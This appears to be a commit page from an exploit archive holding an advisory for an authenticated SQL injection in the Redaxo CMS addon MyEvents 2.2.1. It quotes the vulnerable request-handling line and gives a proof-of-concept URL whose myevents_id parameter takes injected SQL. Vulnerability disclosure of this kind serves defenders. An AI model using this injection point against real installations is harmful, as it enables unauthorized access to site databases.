a2480f5b98
2 changes to exploits/shellcodes Redaxo CMS Addon MyEvents 2.2.1 - SQL Injection antMan 0.9.0c - Authentication Bypass
20 lines
No EOL
574 B
Text
20 lines
No EOL
574 B
Text
# Exploit Title: Redaxo CMS Addon MyEvents SQL Injection [ Backend ]
|
||
# Date: 01.03.2018
|
||
# Exploit Author: h0n1gsp3cht
|
||
# Vendor Homepage: http://www.github.com/wende60/myevents
|
||
# Version: 2.2.1 (Last Version)
|
||
# Tested on: LinuxMint
|
||
# More: Login Required
|
||
# GET
|
||
|
||
##############
|
||
Vuln Code [+] redaxo/src/addons/myevents/pages/event_add.php
|
||
##############
|
||
|
||
$myevents_id = strip_tags(rex_request('myevents_id', 'string'));
|
||
|
||
###############
|
||
POC
|
||
###############
|
||
|
||
http://127.0.0.1/redaxo/index.php?page=myevents/event_add&myevents_id=[SQL] |